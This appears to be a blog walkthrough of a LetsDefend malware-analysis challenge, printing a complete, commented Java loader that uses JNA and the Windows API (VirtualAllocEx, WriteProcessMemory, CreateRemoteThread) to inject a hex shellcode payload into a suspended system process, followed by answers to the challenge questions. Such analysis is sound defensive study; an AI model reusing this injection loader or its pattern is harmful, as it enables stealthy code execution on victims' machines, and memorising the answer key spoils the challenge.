LetsDefend — Java Shellcode (Medium)
This is an unofficial guide to complete the Java Shellcode challenge on Let’sDefend.
Challenge Details:
You work as a security analyst for a cybersecurity firm that specializes in malware analysis. Recently, your team discovered a suspicious Java application being circulated in the wild. Initial analysis suggests that the application contains an obfuscated shellcode, indicating potential malicious intent. Your task is to analyze the Java application, identify the shellcode, and analyze it.
Let’s get started!
The first thing I will do is get the malicious file onto my own VM (this is just a personal preference, as it’s more comfortable for me this way). However, you can use the VM provided by LetsDefend if you prefer.
To analyze this malicious Java shellcode, we’ll be using JD-GUI, a graphical tool that allows you to view the source code of Java .class files in a readable format. It decompiles the bytecode into human-readable Java source code, which can be extremely helpful for analyzing the logic of the application and identifying malicious behavior.
After loading the file in JD-GUI, we will see the following:
‣ META-INF: Contains metadata about the Java application, including manifest files and configuration details.
‣ Asexploits: Contains the main class and code responsible for executing the shellcode injection.
‣ com.sun.jna: Includes the JNA (Java Native Access) library, which provides Java bindings to native libraries such as Windows API functions, enabling interaction with low-level system functions like process creation, memory allocation, and manipulation
ShellCodeLoader.class
We will be analising the malicious code on the “ShellcodeLoader.class”.
Once we open the code on JD-GUI we’ll see the following code:
(I commented it for a better understanding)
package asexploits;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.WinBase;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinNT;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;
import java.io.IOException;
import java.util.Random;
public class ShellcodeLoader {
// Load the native interfaces to interact with the Windows Kernel
static Kernel32 kernel32;
static IKernel32 iKernel32;
// Arrays containing possible target processes where the shellcode will be injected
public static String[] ProcessArrayx32 = new String[] {
"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe",
"C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe",
"C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe",
"C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe" };
public static String[] ProcessArrayx64 = new String[] {
"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\notepad.exe",
"C:\\Windows\\System32\\ARP.EXE" };
static {
// Initialize the native libraries
kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
}
public static void main(String[] args) throws IOException {
ShellcodeLoader jnaLoader = new ShellcodeLoader(); // Create an instance of the shellcode loader
String shellcode = null;
boolean is64 = false; // Flag to indicate if the system is 64-bit
// Shellcode in hexadecimal format (this is the malicious code we want to execute)
shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500";
System.out.println("\nShellcode: \n" + shellcode); // Print the shellcode to the console
jnaLoader.loadShellCode(shellcode, is64); // Call the method to load the shellcode into a process
}
// Method that loads the shellcode into a random 32-bit or 64-bit process
public void loadShellCode(String shellcodeHex, boolean is64) {
String[] targetProcessArray = null;
// Determine which list of processes to use based on whether the system is 64-bit or 32-bit
if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
targetProcessArray = ProcessArrayx64; // Use 64-bit processes
} else {
targetProcessArray = ProcessArrayx32; // Use 32-bit processes
}
// Select a random process from the array
int j = targetProcessArray.length;
Random random = new Random();
int k = random.nextInt(j);
String targetProcess = targetProcessArray[k]; // The target process
loadShellCode(shellcodeHex, targetProcess); // Recursive call to load shellcode into the selected process
}
// Method that injects the shellcode into a specific process
public void loadShellCode(String shellcodeHex, String targetProcess) {
System.out.println("targetProcess: " + targetProcess); // Print the selected process
byte[] shellcode = hexStrToByteArray(shellcodeHex); // Convert the hexadecimal shellcode to a byte array
int shellcodeSize = shellcode.length; // Get the size of the shellcode
IntByReference intByReference = new IntByReference(0); // Variable to hold the reference to the memory written
Memory memory = new Memory(shellcodeSize); // Create a Memory object to store the shellcode
for (int j = 0; j < shellcodeSize; j++) {
memory.setByte(j, shellcode[j]); // Copy the shellcode to memory
}
// Structures required to create a process and handle its execution
WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
sTARTUPINFO.cb = new WinDef.DWORD(pROCESS_INFORMATION.size());
// Create the target process with the necessary configurations
if (kernel32.CreateProcess(targetProcess, (String)null, (WinBase.SECURITY_ATTRIBUTES)null,
(WinBase.SECURITY_ATTRIBUTES)null, false, new WinDef.DWORD(4L), (Pointer)null,
(String)null, sTARTUPINFO, pROCESS_INFORMATION)) {
// Allocate memory in the remote process
Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0),
shellcodeSize, 4096, 64);
// Write the shellcode to the remote process's memory
iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, (Pointer)memory, shellcodeSize, intByReference);
// Create a remote thread in the process to execute the shellcode
WinNT.HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, null, 0, pointer, 0, 0, null);
// Wait for the thread to finish executing
kernel32.WaitForSingleObject(hANDLE, -1);
}
}
// Method that converts a hexadecimal string to a byte array
public static byte[] hexStrToByteArray(String str) {
if (str == null)
return null; // If the string is null, return null
if (str.length() == 0)
return new byte[0]; // If the string is empty, return an empty array
byte[] byteArray = new byte[str.length() / 2]; // Create a byte array
for (int i = 0; i < byteArray.length; i++) {
String subStr = str.substring(2 * i, 2 * i + 2); // Get each pair of hexadecimal characters
byteArray[i] = (byte) Integer.parseInt(subStr, 16); // Convert each hexadecimal pair to a byte
}
return byteArray; // Return the byte array
}
// JNA interface to interact with native kernel32 functions
static interface IKernel32 extends StdCallLibrary {
Pointer VirtualAlloc(Pointer param1Pointer, int param1Int1, int param1Int2, int param1Int3);
WinNT.HANDLE CreateThread(Object param1Object1, int param1Int1, Pointer param1Pointer, int param1Int2, int param1Int3, Object param1Object2);
Pointer VirtualAllocEx(WinNT.HANDLE param1HANDLE, Pointer param1Pointer, int param1Int1, int param1Int2, int param1Int3);
WinNT.HANDLE CreateRemoteThread(WinNT.HANDLE param1HANDLE, Object param1Object1, int param1Int1, Pointer param1Pointer, int param1Int2, int param1Int3, Object param1Object2);
boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);
boolean ReadProcessMemory(Pointer param1Pointer1, int param1Int1, Pointer param1Pointer2, int param1Int2, IntByReference param1IntByReference);
int VirtualQueryEx(Pointer param1Pointer1, Pointer param1Pointer2, Pointer param1Pointer3, int param1Int);
Pointer OpenProcess(int param1Int1, boolean param1Boolean, int param1Int2);
Pointer GetCurrentProcess();
}
}Code Summary & Example of Exploitation:
This Java shellcode loader uses Java Native Access (JNA) to inject malicious shellcode into a remote process running on a Windows machine.
It leverages native Windows API functions to:
- Create and select a target process (e.g., rundll32.exe, notepad.exe).
- Allocate memory within the target process.
- Write and execute shellcode (passed in hexadecimal format) within the target process by creating a remote thread.
The shellcode is intentionally obfuscated in hexadecimal form and is transformed into bytes when it needs to be injected or executed within the target process. If the shellcode is decoded, it might look something like this:
\x00\x00\x00`1dP0R\x0cR\x14r(\x0fJ&1<a|\x02, \r\x01RWR\x10J<L\x11xH\x01QY \x01ӋI\x18:I4\x011\r\x018u\x03};}$uXX$\x01f\x0cKX\x1c\x01Ӌ\x04\x01ЉD$$[[aYZQ__Z\x12]j\x01\x00\x00\x00Ph1oջVh<\x06|\nu\x05G\x13roj\x00Scalc.exe\x00As seen, the shellcode contains non-printable characters and special characters. This obfuscation is done intentionally so that the shellcode can be interpreted at a low level by the operating system. The system processes these bytes as part of a malicious payload designed to carry out harmful actions.
While the payload in this example (calc.exe) may appear harmless, it could also perform stealthy malicious actions such as:
- Injecting additional code into other processes.
- Opening network connections to a remote server.
- Modifying system configurations or installing other malware.
- Establishing a backdoor for persistent access.
In a real-world attack, an attacker could exploit a vulnerability in a software or service running on the victim’s system, inject the shellcode into a legitimate process, and execute malicious actions while evading detection by traditional security tools. This method of attack operates within the confines of a trusted process, allowing the attacker to carry out harmful activities without raising suspicion.
Lets answer the questions!
Now that I’ve explained the code step by step and we’ve fully understood it, let’s answer the questions by looking at the code directly.
Get 𝐌𝐚𝐭𝐞𝐨 𝐏𝐚𝐩𝐩𝐚’s stories in your inbox
Join Medium for free to get updates from this writer.
1 — What library is used to load native libraries into the code?
Answer: com.sun.jna.Native
2 — What system property is used to determine whether to target 32-bit or 64-bit processes?
Answer: sun.arch.data.model
3 — How many x64 processes were targeted by the shellcode?
Answer: 4
4 — Which API function loaded kernel32.dll?
Answer: loadLibrary
5 — What is the length of the shellcode?
Answer: 386
To answer this, we should copy the shellcode and paste it, for example, in Notepad++ to check the length of the string.
6 — What is the API used to allocate a region of memory in the target process?
Answer: VirtualAllocEx
7 —What API was used to write shellcode?
Answer: WriteProcessMemory
8 — What API was used to execute the shellcode in the target process?
Answer: CreateRemoteThread
Done!
I hope you’ve understood the code and the answers, and if not, feel free to ask me! 🤠









